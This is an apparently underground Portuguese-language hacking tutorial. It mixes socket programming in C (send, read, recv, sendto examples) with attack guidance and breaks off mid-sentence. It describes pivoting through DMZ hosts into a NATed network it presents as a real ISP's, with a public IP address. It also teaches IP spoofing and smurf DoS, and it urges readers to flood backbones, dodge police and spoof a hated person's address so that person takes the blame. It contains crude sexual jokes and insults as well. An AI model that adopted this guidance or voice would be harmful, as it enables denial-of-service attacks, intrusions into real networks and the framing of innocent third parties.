Vamos proceguir com o texto amigos, pois ele ainda vai longe ;) Vamos passar p/ os exemplos realmente praticos. Soh para arejar um pouco sua mente. Primeiramente deixamos uma porta em liten no nosso sistema. Acima d 1023 qualquer user pode bindear uma porta. Estas tais portas existem para receber conexoes remotas, pois quando estabelecemos uma conexao com um host remoto, temos q abrir uma porta local no nosso sistema p/ recebermos as respostas de nossas requisiçoes ao host e sao as portas acima de 1023 que sao usadas, por isso nao precisamos d permissoes p/ elas, pois seria um saco ter que ficar abrindo porta local sempre que nos quizesemos mecher com ssh nas maquinas alheias ^^. sh-3.1$ nc -l -p 1026 -vv -s 127.0.0.1 listening on [any] 1026 ... OBS: Se voce nao sabe usar o netcat recomendo fortemente a leitura desta super, mega e ultra e-zine Hacker Underground Hardcore (Eita!!): http://www.hunterhacker.xpg.com.br/CODEx02.txt Mas nao lembro de ter mencionado a opçao -s :( Ela apenas serve para determinarmos qual a interface q desejamos usar para ouvir uma porta, so isso. Como vc pode ver eu vou escutar na minha iface de loopback(127.0.0.1) e se eu dar um telnet ou usar o proprio nc p/ conectar em outro IP, eu nao vou conseguir acesso, "apesar" desta porta esta' em escuta no meu sistema (So pra quem nao sabe disso ;). nc 192.168.1.1 1026 <- Nao da certo rsrs. Eu sou o professor ninja do ano mesmo... ------- Send.c ------- #include #include #include #include // close (); Fecha um socket [Falarei logo mais]. #include #include #include #include #define ERR -1 struct sockaddr_in vt; int main (){ int sock, recv_mtu; sock = socket (PF_INET, SOCK_STREAM, IPPROTO_IP); unsigned char buffer[2500]; memset (&(buffer), 'A', sizeof (buffer)); vt.sin_family = AF_INET; vt.sin_port = htons (1026); inet_aton ("127.0.0.1", &(vt.sin_addr)); bzero (&(vt.sin_zero), 8); if ( (connect (sock, (struct sockaddr *)&vt, 16)) == ERR) { fprintf (stderr, "Porta [%d] em %s closed\n", ntohs (vt.sin_port), inet_ntoa (vt.sin_addr)); exit (ERR);} recv_mtu=send (sock, buffer, sizeof (buffer) -1001 +1, 0); printf ("[%d] bytes enviados\n", recv_mtu); close (sock); return (0);} ------- corte aqui ------- sh-3.1$ ./send [1500] bytes enviados sh-3.1$ sh-3.1$ nc -l -p 1026 -vv listening on [any] 1026 ... connect to [127.0.0.1] from Black_Machine [127.0.0.1] 1365 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ....... sent 0, rcvd 1500 sh-3.1$ Acima voce pode ver que o netcat recebeu todos os 1500 bytes(rcvd 1500) DE PAYLOAD, agora voce faz isso cara: ;) 8.7 A funcao write (); Irmazinha mais nova da funcao send (), pois a 'send ()' tem peitinhos ([Flag's] <-) e ela nao tem, mas ambas fazem a mesma coisa ;) header: Entendendo mais os descritores. Aqui que o negocio vai ficar mais intuitivo amigo, pois acho que voce ja deve ter lido em algum lugar q o Unix padrao le e escreve (I/O - Input/Output; E/S - Entrada/Saida) usando um descritor de arquivo, ouviu? Necessariamente ele usa esse tal descritor PARA TUDO, por isso os caras falam que o Unix eh um grande arquivo "ABERTO", mas existe um detalhe ai, para cada chamada que fazemos, esse mesmo descritor vai fazer uma "determinada" açao no sistema, ou seja, quando nos utilizamos a funcao connect() (Por exemplo) estamos usando esse descritor, mas estamos usando ele para conexao. Outro exemplo eh quando abrimos um terminal, este descritor "DE ARQUIVO" (Aspas porque este "arquivo" nao necessariamente precisa ser um arquivo no disco) eh utilizado para essa finalidade. Ta pegando ae? Voces se lembram que utilizamos os tais "DESCRITORES" DE SOCKET para manipularmos dados? Isso significa que, tambem podemos utilizar funcoes que leem e escrevem em 'arquivos' "utilizando descritores" (Obvio!), mas para enviar e receber dados!! Como as funcoes read() e write(), que sao funcoes feitas originalmente para o proposito de ler e escrever em arquivos usando DESCRITORES..:) Sacow? Ah! so pra constar: write/escrever - read/ler. <-- Legal! Elas leem e escrevem em descritores de socket aberto (Claro :P)!! Meu Deus que bom que existe o Unix, temos varias opçoes, mas eh uma pena que esse mesmo leque de possibilidades nao exista para WinUsers Sux!!! O 'Sux!' ae foi para quem ama a bosta do windows viu gente, mas para quem usa ele como fliperama ta deboa (Essa eh pra voce VonNaturAustreVe! eheh ;) Sei q voce deve ter reparado no quarto argumento da funcao send (), o [flag's]. O que poderia vir a representar isso em uma comparaçao com a funcao write()? Isso significa que, se vc pode especificar um argumento adicional nas funcoes de envio e recebimento de dados ('send ()' e 'recv ()' respectivamente), quer dizer (obviamente) que vc pode ter um controle maior da trasmisao d dados. Ou seja, se seu interesse nao eh utilizar tais flags, use as funçoes read e write (). Nao esquentem com as flags agora pessoal, futuramente dedicarei um capitulo (Na segunda parte do paper para ser mais preciso) apenas para abordar o tema '[flags], por hora tentem "nao" se "preocupar" com isso, especifique 0 neste paramentro ou ate mesmo utilizem as funcoes write( ) e read (Olha eu incentivando mais uma vez ;). Para apenas enviar e receber dados eh o q bastaria. Prototipo: write (des, payload, payload_len); Des ---> O tal do descritor de socket. Payload ---> Buffer a ser enviado atravez do socket. Payload_len ---> Quantidade de bytes [do buffer] a ser enviado. Sacow? Podemos dizer q nossas amigas write() e read () (a ultima sera' descrita logo mais abaixo), possuem o argumento 'flags' setado como 0 por default. E acho q ja era meio previzivel e de certa forma obvio (Julgando pelo header que abriga a mesma =) q essa funcao juntamente com a read, so existem "por padrao" em sistemas q derivam da arquitetura Unix, ou seja, unixes like mais uma vez emperando sobre a concorrencia ;) Agora vou falar uma coisa que ninguem imaginaria: Esta funçao retorna -1 em caso de erro. Oooooh Que surpresa minha gente ¬¬ Voce diz Yeah, eu digo: oooooooh yessss!! 08.8 A funcao read (); Header: Esta funcao 'PODE SER' utilizada para recebimento de dados, como eu estava falando anteriormente. Esta' funcao retorna 0 quando nao existem mais dados "chegando", e em quanto esta' recebendo os mesmos retorna o numero d bytes recebidos propriamemte dito. Ah! E retorna -1 em caso de erro XP. Sem duvida nenhuma eh um saco ter q ficar repetindo isso. Que coisa mais Sux! Encare esse erro como um termino de conexao meu amigo! Ele significa que o servidor encerrou a conversa! ;) Exemplo: read (sock, buffer_recvd, buffer_received_len); Onde: sock ---> Descritor de socket. buffer_recvd ---> Buffer que sera' usado para receber os dados. buffer_received_len ---> O limite de dados maximo que podem ser passados p/ o buffer em nossa aplicaçao local. Seria algo como: sizeof (buffer_recvd) -1; Repare que eu reservo -1 byte no buffer para o terminador de string '\0'. Ao utilizarmos a funçao 'sizeof()' estamos entao determinando que o limite d dados a serem copiados, condiz com o tamanho do buffer local (Nesse caso!). Exemplo..: Se o server-side estivese enviando aquele 'Oi' no exemplo da funcao 'send ()' e se nos quizermos ter certeza que apenas esse 'Oi' vai ser copiado p/ o buffer em nossa aplicaçao local (cliente-side), entao seguiriamos os seguintes passos: Server-side..: unsigned char payload[]="Oi, como voce esta?"; send (sock, payload, 3 -1, 0); // 3 - 1 = 2 eheheh. Frescura rulez! Cliente-side..: +----------------------------------------------------------------------------------+ | CODIGOS DO PROGRAMA | RESPECTIVOS COMENTARIOS | +----------------------------------------------------------------------------------+ | | |int bytes; [*] Recebera' o retorno de read(). | |unsigned char buffer_recvd[3]; [*] Oi'\0' - NULL Terminator ( ;). | |bytes=read (sock, buffer_recvd,4 -2 + 2 -2); [*] Gambiarra rulez!!! Hauhauhau!!! | |buffer_recvd[2]='\0'; [*] 012 -> Oi'\0' dentro do buffer. | | | |/* buffer[bytes]='\0' */ [*] Lembra q eh retornado o numero | | de bytes? ;) | | | | puts (recvd); [*] Imprime a string recebida. | +----------------------------------------------------------------------------------+ 08.9 A funcao recv (); Header(s): A funcao recv (receive/recebe =) nada mais eh que a funcao responsavel "ORIGINALMENTE" (ao contrario da read) pelo recebimento de dados atravez de um socket, ela funciona EXATAMENTE igual a read(), porem, requer que seja passado como ultimo argumento as tais '[flags] (Como a funcao send(). Nossa, d tanto eu falar nessas '[flags]' voces ja devem estar com a pulga atraz da orelha huahauh!! Calma gente, relaxem, nos vamos chegar la, tenham paciencia ou procure infos relacionadas as mesmas pela internet a fora, caso nao tenham (como eu) um pingo de paciencia de esperar para aprender ;) Prototipo: recv (desc, buffer_received, buff_recv_len, flags); Ooooonde: desc -> Bah! buffer_received -> Vaaariavel, na aplicaçao local que vai receber os dados. buff_recv_len -> Determina quantos bytes vao ser copiados p/ a vaaariavel (buffer). flags -> Siniiistro! Continua colocando o 0 (zero) ae manoh. A recv retorna o numero d bytes recebidos e -1 em caso de erro, que so pode representar uma coisa: Alguem do outro lado fechou a conexao! Bem, nos nao podemos dizer que esta funcao vai ler "todos" os "bytes" enviados pelo host, mas vai ler o importante, os tais dados "usaveis" PROPRIAMENTE dito, nem esquentem com aquele tal de 1500 bytes, pois um pacote precisa ter camadas e a maioria dos dados recebidos por nossa interface nem se quer chegam as aplicaçoes de rede, vc entendeu essa indireta? ;) No famoso processo de desmultiplexaçao do frame, os dados vao perdendo bytes, assim fazendo apenas o payload ser lido pela recv que esta' no layer de aplicaçao no modelo TCP/IP de encapsulamento. Easy. Muito Facil =) 08.10 A funcao sendto (); Header(s): Ate agora estavamos trabalhando com funcoes que enviam e recebem dados atravez de um socket "orientado a conexao", ou seja, estavamos usando o nosso amigo -> SOCK_STREAM. Que representa o nosso amiguinho TCP. Agora vamos ver como trabalhar com socket q se utiliza de UDP, ou seja, SOCK_DGRAM. Vamos fazer uma pequena revisao do q foi passado no começo do paper: Para utilizarmos um socket "orientado a conexao" (TCP): int desc; <-- Descritor de socket. desc = socket (PF_INET, SOCK_STREAM, IPPROTO_IP); ^ | | + --- Repare aqui manoh. Para utilizarmos um socket "NAO orientado a conexao" (UDP): int desc; <-- Descritor de socket. desc = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP); ^ ^ | | | + --- #define IPPROTO_UDP 17 (17 = UDP) | + --- UDP rulez! Humm.. Voces se lembram que eu havia falado que com SOCK_DGRAM so podemos utilizar o socket para apenas uma coisa? Lembram? Ou seja, ou voce escreve no socket ou le o dito cujo, jamais as duas coisas ao mesmo tempo. Tendo essa base podemos proseguir. Ah! Gostaria de avisar para os senhores q a funçao de envio de dados quando estamos trabalhando com o temivel SOCK_RAW, eh essa! Pra falar a verdade nos podemos enviar dados com qualquer tipo de socket utilizando o sendto ( =), inclusive SOCK_STREAM!! Prototipo: sendto (desc, payload, payload_len, flags, (struct sockaddr *)&rulez, sizeof (rulez)); Bizaarro! Neh nada gente, so parece eheh. Vamos la: desc ---> Descritor de socket :P payload ---> Buffer a ser enviado. payload_len ---> Quantos bytes serao enviados. flags ---> Bem, flags eh flags mesmo eheh. Aguardem!! Por hora continue colocando o nosso amigo 0 (zero) ai. (struct sockaddr... ---> Voces se lembram que SOCK_DGRAM trabalha com socket's nao orientados a conexao? Claro que lembra, eu nao paro um segundo de repetir isso :P Reparem q na funcao send() nao precisamos definir este argumento justamente porque o tipo de socket usado eh orientado a conexao, ou seja, a aplicaçao SEMPRE vai fazer uma consulta a tal struct de conexao (ao endpoint para ser mais especifico) sempre q o socket for utilizados pelas funcoes send() e recv(), mas como vamos usar um socket NAO orientado a conexao, isso significa q o programa so vai consultar o endpoint "UMA VEZ" (Aspas porque a aplicaçao pode rodar em loop), ou PARA ENVIAR "OU" PARA RECEBER OS DADOS (Uma coisa ou outra!)! Ta fazendo sentido ne? Entao: Dizemos p/ a APP onde ela tem que instruir o kernel do sistema a mandar ("nesse caso") os dados ( '(struct sockaddr *)&rulez') passando a struct como argumento. Muito facil!! Entao eu agora estou certo que voce sabe o porque da struct, mas se voce ainda nao pegou o fio da meada, lavai: Temos que especificar a estrutura de conexao porque como todos sabemos, eh nela que estao armazenados os DADOS DA NOSSA VITIMA! sizeof (rulez) ---> Passamos o tamanho da struct. Esta funçao retorna -1 em caso de erro. So pra variar um pouquinho... E como a funçao 'send ()', retorna o numero de bytes enviados propriamente dito ;) 08.11 A funcao recvfrom (); Header(s): Esta eh a funçao responsavel pelo recebimento de dados que chegam atravez de UDP, ou seja, SOCK_DGRAM. Esta funcao tb pode ser utilizada p/ o recebimento de dados atravez de qualquer tipo de socket. Esta' funcao eh bastante interesante. Como a funçao recv, ela retorna o numero bytes que foram recebidos e tambem retorna '0' quando nao existem mais dados chegando, em caso de erro esta funcao retorna -1. Prototipo: recvfrom (desc, payload_received, payload_len, 0, (struct sockaddr *)&remote, (int *)16); AGUARDE A VERSAO FINAL... C:\Documents and Settings\David>nc -l -p 99 -vv -u > \ll.txt listening on [any] 99 ... connect to [192.168.1.1] from Violator [192.168.1.1] 1071 sent 1, rcvd 1 ----------------------------- - 08 INADDR_LOOPBAK; INADDR_NONE; INADDR_ANY; SOCKET_ERROR [=] + =================================================== + [=] Xiii... um ISP, um maneh, uma historia Entendendo DMZ's & NAT's [=] + =================================================== + [=] Era uma vez um provedorzinho de internetZinha que tinha funcionariozinhos despreparadinhos, ae um hackerzinho maleficoZinho, resolveu fazer um inferninho na vida desse "provedorZinho", bonitinho. Bem, se vc nao souber oq isso significa, recomendo fortemente que voce se mate. MAPA 00 Filial: fortalnet SuX Cidade: Quixeramobim - CE Mind 1: A sub-rede 00 eh uma LAN house no centro da cidade, a 01: '$$$' Mind 2: Todo o esquema de enderecamento eh "veridico" (?)... [Ambas sub-redes com enderecamento de classe C] Configuracao do Ponto d Passagem 1 Configuracao do Ponto d Passagem 2 +----------------------------------+ +----------------------------------+ |Nome: PP-1 | |Nome: PP-2 | |iface: LAN interface | |iface: LAN interface | |Internet Protocol: 10.0.0.100 | |Internet Protocol: 10.0.0.101 | |Default Gateway: 0.0.0.0 | |Default Gateway: 0.0.0.0 | |Mascara de sub-rede: 255.255.255.0| |Mascara de sub-rede: 255.255.255.0| +----------------------------------+ +----------------------------------+ \ / -=- / \ +----------------------------------+ +----------------------------------+ |Nome: PP-1 | |Nome: PP-2 | |iface: WAN interface | |iface: WAN interface | |Internet Protocol: 10.251.147.2 | |Internet Protocol: 10.251.147.3 | |Default Gateway: 10.0.0.1 | |Default Gateway: 10.0.0.1 | |Mascara de sub-rede: 255.255.255.0| |Mascara de sub-rede: 255.255.255.0| +----------------------------------+ +----------------------------------+ Observacoes: O endereco 0.0.0.0 representa o INADDR_ANY, ou seja, o router/AP irah utilizar uma interface qualquer disponivel nele mesmo, p/ ser o seu gateway na 'LAN'. Nesse caso o gateway da iface local (LAN - Local area Network, Area de Rede local) serah o endereco 10.0.0.1, ou seja, seu proprio endereco. [ Sub-rede - 00 ] NAT: Network Address Translation =========== =========== =========== = PC 00 = <-> = PC 01 = <-> = PC 02 = +{ =========== =========== =========== DMZ / IP: 192.168.1.1 192.168.1.2 192.168.1.3 DeMilitarized Zone +------+ DG: 10.0.0.100 192.168.1.1 192.168.1.1 189.17.34.2 |router| Ms: 255.255.255.0 [ C ] [ C ] +-- > +------+ =========== | PP-1 = Proxy = | =====|===== +------+ + -- > |router| < 10.0.0.1 > < -- +------+ | ^ | | | | V | +-- > +------+ +------+ \ |router| [ Sub-rede - 01 ] |router| + Unknown +------+ NAT: Network Address Translation +------+ / PP-2 \ | +{ =========== =========== =========== +--+ ^ = PC 00 = <-> = PC 01 = <-> = PC 02 = | | =========== =========== =========== V | IP: 192.168.0.1 192.168.0.2 192.168.0.3 [ Internet ] DG: 10.0.0.101 192.168.0.1 192.168.0.1 Ms: 255.255.255.0 [ C ] [ C ] 5.0 - DMZ - DeMilitarized Zone Eu vo logo te avisando maninho, se liga: "Nao eh essa zona q vc ta pensando, monstro." DeMilitarized Zone, ou em portugues, "Zona Desmilitarizada", nada mais eh que um local proximo ao router que repassa requests vindos da internet ( WAN - Wide Area Network). As maquinas q disponibilizam servicos em uma rede corporativa (nesse caso eh a rede da fortalnet sux do capeta... :P) ficam nesta "area". Em uma forma mais literal de falar, posso dizer que uma DMZ nada mais eh que uma area limitrofe entre a rede interna (Com enderecos IP nao roteaveis) e a internet, ou seja, ela fica no meio repassando dados. Em muitas redes corporativas normalmente vc tera' a area q esta sendo filtrada por NAT (Citada logo adiante) e a DMZ, onde se encontram os "servicos disponibilizados" pela empresa, como servidores web, servidores proxy que ajem com intermediarios de conexoes entre uma WAN e a rede interna "filtrada por NAT", um servidor de SQL, FTP, etc. Os computadores q estao na DMZ, possuem seus enderecos IP "validos", ou seja, sao IP's roteaveis, e isso significa que qualquer pessoa que estiver na WAN pode usar recursos hacker sobre essa maquina, como usar um scan, obstruir alguma porta de proxy assim im- pedindo que todos os users da NAT possam acessar a internet (HTTP) ou algum server de FTP (Por exemplo ;), etc, etc e etc =) 6.0 - NAT - Network Address Translation Como eu li por ai: "Nao amigo, ela nao eh gostosa, monstro". uahuahuahau! auhsudhaus! Hoje em dia usa-se muito este recuso (NAT - Endereco de "traducao" de rede) para es- conder uma rede corporativa, da internet, pois como voce pode perceber na ilustracao acima, os enderecos IP atribuidos a maquinas da NAT nao sao roteaveis, como os inici- ados por 192.168, 10, etc. Ou seja, nao sao validos para acesso externo, quando digo externo me refiro a internet. Para invadirmos computadores sendo filtrados por 'NAT', temos que primeiramente invadir 1 computador na DMZ, pois a DMZ "pode" ter acesso a maquinas na NAT, alguma maquina na DMZ pode inclusive ser o proxy para as maquinas da NAT (189.17.34.2 - Fedora Linux). Normalmente os carinhas colocam daemons em algum PC da DMZ que redirecionam dados p/ dentro da NAT, o esquema base eh esse, ja que nao podemos ter acesso "direto" as maquinas da NAT pela internet, e ja que as maquinas na DMZ normalmente "podem" ter acesso a maquinas da NAT, entao devemos entrar na 'NAT' pela DMZ ond existe o tal daemon redirecionando nossos dados. Tb podemos ter acesso a maquinas filtradas por NAT se habilitarmos no router mais proximo deste, o redirecio- namento dinamico, assim todos os pacotes que chegarem ao router vao ser destinados a maquinas da NAT. Imagina habilitar um redirecionamento de pacote p/ o porta 'ssh' das maquinas da NAT, ou telnet ou... bah! essas coisinhas das trevas }=) Agora imagine ai vc ter acesso a um 192.168.1.6 onde tem arquivos daquela mina q acessa a LAN =) Nesse caso o proprio router vai ser 1 redirecionador d portas. Muitas vezes 1 usuario comum tem um IP valido, mas normalmente aquele endereco IP nao eh d 1 PC propriamente dito, aquele endereco pode ser de um roteador. Quando vamo fazer 'finger printing' no host daquele lamah chato, podemos entao dar de cara com um d-link da vida (Ai ai, q sauda- de =7 - http://wWw.hunterhacker.xpg.com.br/router_sux.JPG), o que acontece eh q esse router nao trabalha com roteamento dinamico e esta escondendo o maquina do lamah para ninguem acessar ela a partir da internet. Quando existe de fato 'dinamic routing' ha- bilitado no router, todos os requests de um scan por exemplo, sao 'entregues' ao host alvo e o mesmo respondera, o router mais proximo da NAT simplesmente servira' como um "intermediador" da conversa. Para acessarmos o tal do roteador podemos usar recursos originados da NAT (como o webmin que trabalha na porta 1000 ou 10000) caso exista uma ACL apenas permitindo conexao vinda da mesma =7 Eh muito comum para um lamah achar que, por estar sendo sendo filtrado por NAT, e so poder acessar a rede externa, esta com os "coro" de molho... isso nao livra os coro deles nao manohs de hacking ^^ Normalmente o router + proximo da vitima apenas permi- te o acesso de dentro da NAT p/ fora (isso eu ja falei! \O/! rsrss...) assim o lammer acha que ta protegido rsrsr (Eu tambem ja disse issu! \O/! rsrsr.. Ui...) O que fazer numa hora dessas? =) Pausa para a meditacao ninja.... Nunca se perguntaram como os programas de assistencia remota, como o "TeamViewer <-" (muuuito show!), mostram a tela dos PC's na NAT? "Pense" bem... 'Se' nao adivinharem, isso fica pro proximo texto manohs +) Ah!! Vou tambem mostrar como "tunelar NetBIOS" ehehe. Acessar compartilhamentos com clientes d compartilhamentos (\O/!) q terao seus requests redirecionados p/ dentro de maqunias com "compartilhamento" (double \O/!) eh rulez! 6_Bl4ck9_f0x6 as you can see baby... Um otimo daemon para unix que faz redire- cionamento de trafego eh o redirecionador 'Emperial redirect', um de meus excelentes programas =7 Fiz ele em exatos... 35 minutos e 12 ou 13 segundos. Tava quebrando meu record sabe, ser um genio requer desafios =] Eu ia chamar meu programa de: 'Xereca redirect dois'. Pena q nao deu neh, mas isso seria legal, pois ele trabalha com uma buceta, que recebe pica e dpois redireciona os spermas da buceta p/ aquele troco la q faz os bebe ser gerado hHuahuaha!!! OBS: Esperimentem usar o TeamViewer e vejam com eh simples manipular um desktop de IP 192.168.1.1 ate 192.168.1.254 (por exemplo) como se estivesse sentado na frente 'dele' ehheeh. Faca bom uso deste mapa acima "amigos" (Me refiro a eles mesmo :) []'s by 6_Bl4ck9_f0x6 - Viper Corp Group [=] + ======================================================= + [=] Uma base sobre IP Spoofing, Smurf e Finger Printing. [ Voando como um rei ] [=] + ======================================================= + [=] "Um kilo de "pena" forma um kilo de chumbo..." -- 6_Bl4ck9_f0x6 Ooooii! Olha eu aqui mais uma vez ^^. Vou falar agora sobre IP Spoof, para ser mais exato vou falar sobre IP Spoof p/ envio d datagramas UDP p/ derrubar maquinas podres, com "conexoes" totalmente vagabundas ;) Esse negocio eh "bem" maneiro, sabendo esse macete voce pode fazer prog's de recusa de servico forjando o endereco IP d origem e ninguem vai te rastrear rsrsr. Ei!! Voce pode atacar usando o IP de algum cara que vc odeia, assim ele vai levar a culpa e vai receber as respostas da vitima =) Se vc ata- ca alguem e nao garante sua "anonimicidade", a policia pode bater na sua porta manoh! Porque? Quando voce faz qualquer tipo (ou quase qualquer ;) de tramoia pela rede, seu endereco IP tambem vai junto, para cada tipo de ataque existe uma forma diferente de proteger quem esta' atacando. Quando vc pinga um host por exemplo, vai com junto com o pacote o teu IP, pois a maquina d destino precisa responder. Facam um teste amigos. Baixem o ethereal e configurem-o para farejar uma determinada interface e pronto, tu teras acesso a todos os pacotes que entram e que saem, inclusive podera' interceptar senhas com o Ethereal!! Obvioooooooooooo!!! Ele eh um sniffer ¬¬ Normalmente os dados sao trafegados em plain text! Texto Pleno, ou texto puro como "preferem" alguns. Esse termo eh usado p/ referenciar dados que sao transitados "sem o uso de criptografia", assim vc podera' ver as senha no olho. Calma amigo, um sniffer nao consegue decriptar senhas bancarias por calsa do ssl, o trafego eh encriptado, mas claro que vou ensinar como catar senhas sobre essa criptografia podre eheheh... em um proximo texto ;) Para instalar o Ethereal vc precisara' ter a biblioteca [Winpcap] instalada primeiro, da! Claro! Ariehgua! Eu to escrevendo p/ diabo de dummie's ou p/ bgner's afinal d contas? Aff! Vale lhes lembrar que varios programas necessitam do winpcap, tais como 'o' Cain & Abel, Ethercap, etc. Por isso recomendo q vc nao sai de casa sem essa biblioteca na pendrive! Log's interceptados pelo Ethereal: +--------------------+------------+-----------------+---------+-------------------+ |No. | Time | Source | Destination |Protocol |Info | +--------------------+------------+-----------------+---------+-------------------+ | 3 | 7.391731 |192.168.1.2 | 192.168.1.1 | ICMP |Echo (ping) request| +----+---------------+------------+-----------------+---------+-------------------+ | 4 + 7.391770 |192.168.1.1 | 192.168.1.2 | ICMP |Echo (ping) reply | +----+---------------+------------+-----------------+---------+-------------------+ Acima voces podem ver que o IP de final 2 mandou 1 pacote ICMP do tipo echo request para a minha interface, que possui o final 1. E tambem podera ver que a minha iface retornou a resposta (Echo reply) p/ o 192.168.1.2. O Ethereal eh porreta!! Ele loga tudo q entra e o q sai da tua interface ;P Estao conseguindo ver o tal do problema? Veja pelos log's q isso acima ja ia por nosso ataque abaixo, pois nao queremos ser identificados!! Entao vamos fingir ter um endereco IP que nao temos usando o IP Spoofing! Outra boa utilizacao de IP Spoof para D.o.S eh o ataque baseado em Smurf, onde nos apenas precisaremos aprender desenvolver programas p/ emisao d broadcast's p/ enderecos de broadcast (Que coisa nao?) e fazer as maquinas q serao usadas como "pioes", na rede alvo, achar q quem emitiu o request foi a vitima. Como?? Usando IP Spoofing! ;) Spoof eh uma palavra em ingles q significa trapaca em portugues (Leia 'trapassa'), ou seja, trapaca de IP! Forjar o endereco IP de origem eh sim uma trapaca. O sera' apresentado nest texto "NAO Eh" e "NEM PODE" ser considerado uma tecnica nova, mas eh bom nos sabermos isso. Vale lembrar para a gelerinha que esta' lendo est texto q: Inventar algo novo eh legal gente!! [1] * Breve introducao do ataque baseado em smurf. Extraido e adapatado da minha tao amada e-zine Hacker, Underground, Hardcore e ElitE (eheh) C.O.D.E 0x00 Que brevemente vai ser retirada de circulacao ^^ Quando o atacante faz um ataque do tipo smurf, sua estacao ira emitir pacotes UDP, mais necessariamente pacotes ICMP echo request p/ toda a "rede alvo" usando um tipo de transmissao de dados chamada de broadcast, esse tipo de transmissao emiti pacotes de dados para toda a rede, assim fazendo "toda a rede" (Todos os computadores) res- ponderem. Nesse caso serao enviados pacotes ICMP echo request para os enderecos de broadcast das redes onde existem computadores q serao usados como pioes p/ o ataque. O IP de broadcast normalmente eh o x.x.x.255, quando nos emitimos pacotes para ende- recos de broadcast, significa que a rede todinha se meche eheh. Resumindo: Mandamos pacotes para o endereco de Broadcast de alguma rede e apos isso (Se nossa solicitacao passar pelo roteador/firewall, da vitima) nos "podemos" ateh brincar com "varios" computadores ao mesmo tempo ^^. Para voce achar end's d Broadcast basta ver o endereco da rede e tentar o endereco padrao de broadcast, q em uma grande maioria das vezes eh configurado com o final 255 (Hi taker) =] Exemplo.: Vamos supor que eu queira varrer a seguinte rede: IP: 189.17.34.2 [Cuidado amigo, vc ainda pode ter seu IP em txt's }:] Netmask: 255.255.255.0 [O IP acima eh de classe C (literalmente), como vc pode ver :] Eu com toda certeza do mundo, se soubesse atravez de Finger Print[X] que se tratava de uma rede rodando sobre arquiterura Unix/Linux, chutaria p/ essa rede o seguinte endereco de broadcast: 189.17.34.255 Sacou? Eheheh. Procure sempre mandar requisicoes para links rapidos manoh, nao mande para maquinas mortas e fracas, procura backbones porra! Eiiita! Vai matar quem? rsrs \O/ A intencao aqui eh floodar/derrubar, nao explodir a rede alvo rsrsrs Hauhauhah!! Se bem que eh meio dificil achar um backbone q responda a pacotes ICMP echo request. [X] -> Finger Printing ou Impressao digital, eh uma tecnica que consiste em determi- nar atraves de servicos/portas (abertas =), banner's -.- Affz (etc) q nos en- contramos no host remoto (Vitima! =), qual o OS (Operacional system - Sistema operacional) em execucao por la. Como algumas distros do linux ja sujerem para o end d broadcast a utilizacao do 255 no final do endereco da rede, nos entao podemos inferir que naquela rede onde existem maquinas rodando sobre arquite- tura Unix/Linux (Informacao essa q obtivemos atraves do uso d Finger Printing) o endereco de broadcast eh de final 255. O nmap disponibiliza a funcao de FP, p/ usa-la use o parametro -O (O maiusculo. Nao 0 (Zero)! =) [-] -> O firewall do windows ja vem configurado por default para nao responder a tal da solicitacao d eco de entrada, ou seja, antes do ataque eh emitido por nos pacote(s) ICMP echo request ate os pioes e eles nao respondem, simplesmeste discartao o(s) pacote(s) emitido(s). Assim eles nunca irao floodar a vitima. Se o request passar... Quando os pioes recebem o pacote ICMP do tipo echo request, imediatamente eles re- tornam pacotes ICMP echo reply, ou melhor dizendo: Retornam "pongs" - Ping-Pong eheh Ja que fiz um broadcast para mandar pacotes d requisicao para os host's pioes, entao todos irao mandar pacotes ICMP echo reply quase que "simultaneamente", mas so que ao inves de mandar os pacotes d resposta p/ o atacante (q lancou o broadcast), os dados vao ser enviados p/ o(s) computador(es) da(s) vitima(s). Como? Ai que entra o tal IP spoofing amigo. Quando emitimos os ping's (ICMP - Echo request) nos tambem craftamos o endereco IP de origem, ou seja, nos "forjamos" o nosso endereco, a partir deste momento estamos usando a tecnica chamada d IP spoofing p/ fazer os pioes acreditarem que quem fez a solicitacao foi a coitada da vitima, assim fazendo com q o computador alvo do ataque receba muitos pacotes ICMP echo reply como resposta d uma solicitacao que "nao fez", consequentemente nao conseguindo processar todos os dados recebidos (devido a grande quantidade de reply's) ocasionando o travamento do alvo. Ai temos -1 maquina na internet ^^ Como voce pode notar... O Smurf eh um ataque de D.o.S de amplificacao, ou seja, se emitirmos um pacote ping (ICMP echo request) para o endereco de broadcast d alguma rede, todos os PC's desta desta rede retornarao a mim pacotes ICMP do tipo echo reply, ja que "todos" vao re- tornar o meu "unico" request, entao isso pode ser chamado de "amplificacao". Ae que entra uma boa politica de compra de modulo de memoria kkkk! Por q tem muitos servi- dores hoje em dia q nao usam muita memoria :( Como pode! Onde os porcos dos admin's estao!? ^^ Smurf eh o canal! Brazil Underground Hacker Rulez! [Protecao contra Smurf - Muito facil.] Para se proteger desse ataque basta configurar seu firewall para nao responder a tal da solicitaçao de eco de entrada e pronto, pois este ataque se aproveita do envio de ICMP echo request, se voce ta barrando eles, fique tranquilo, "ESSE" ataque nao te pega mais eheheh. Repare nas aspas, isso significa que de centenas de outros ataques voce vai cair por um deles, sem duvida! Pode dificultar, mas se voce nao for bom... me parar eh que voce nao vai ^^. OBS: Estarei escrevendo algo mais tecnico brevemente!! Desculpem ai o trecho chocho! E REPETITIVO... Finalmente... ===========----------=============---- Flood - Foi no pipoco do trovao (Bum!) ===========----------=============---- O que!!!!? Nao sabes o que diabos eh Flood? Simples!! Como diria nosso amigo jack o estripador: "Vamos por partes". Onde sera' que eu ouvi isso meu Deus? Ah! Darkers!! rsrsr. Enfim, vou usar a analogia que o o sandimas (Ou foi o hash ? :P) usou no txt d raw socket's. O sandmas eh famoso amigos! PHRACK INTERNATIONAL SCENE ON BRAZIL =) Digamos que... ----------> flood eh um "cabo-de-guerra" (rsrs), onde quem tem mais largura de banda ganha. "Nao", "confundam flood", com algum "outro tipo" de D.o.S (Denial of Service - Recusa de Servico), 